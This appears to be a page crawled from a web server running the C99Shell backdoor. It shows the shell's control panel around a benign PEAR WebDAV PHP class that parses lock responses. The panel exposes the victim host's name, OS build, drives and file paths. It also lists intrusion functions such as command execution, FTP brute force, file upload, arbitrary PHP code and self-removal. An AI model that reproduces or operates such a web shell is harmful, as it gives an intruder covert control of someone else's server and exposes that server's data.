!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\copia nuevo\php\pear\HTTP\WebDAV\Tools\   drwxrwxrwx
Free 7.32 GB of 239.26 GB (3.06%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     _parse_lock_response.php (1.82 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    
// helper class for parsing LOCK request bodies
class HTTP_WebDAV_Client_parse_lock_response
{
    var 
$locktoken "";
    var 
$collect_locktoken false;
        
    function 
HTTP_WebDAV_Client_parse_lock_response($response
    {
        
$xml_parser xml_parser_create_ns("UTF-8"" ");
        
xml_set_element_handler($xml_parser,
                                array(&
$this"_startElement"),
                                array(&
$this"_endElement"));
        
xml_set_character_data_handler($xml_parser,
                                       array(&
$this"_data"));
        
xml_parser_set_option($xml_parser,
                              
XML_OPTION_CASE_FOLDINGfalse);

        
$this->success xml_parse($xml_parser$responsetrue);
    
        
xml_parser_free($xml_parser);
    }
    

    function 
_startElement($parser$name$attrs
    {
        if (
strstr($name" ")) {
            list(
$ns$tag) = explode(" "$name);
        } else {
            
$ns  "";
            
$tag $name;
        }

        if (
$ns == "DAV:") {
            switch (
$tag) {
            case 
"locktoken":
                
$this->collect_locktoken true;
                break;
            }
        }
    }

    function 
_data($parser$data
    {
        if (
$this->collect_locktoken) {
            
$this->locktoken .= $data;
        }
    }

    function 
_endElement($parser$name
    {
        if (
strstr($name" ")) {
            list(
$ns$tag) = explode(" "$name);
        } else {
            
$ns  "";
            
$tag $name;
        }

        switch (
$tag) {
        case 
"locktoken":
            
$this->collect_locktoken false;
            
$this->locktoken trim($this->locktoken);
            break;
        }
    }
}

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * indent-tabs-mode:nil
 * End:
 */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0468 ]--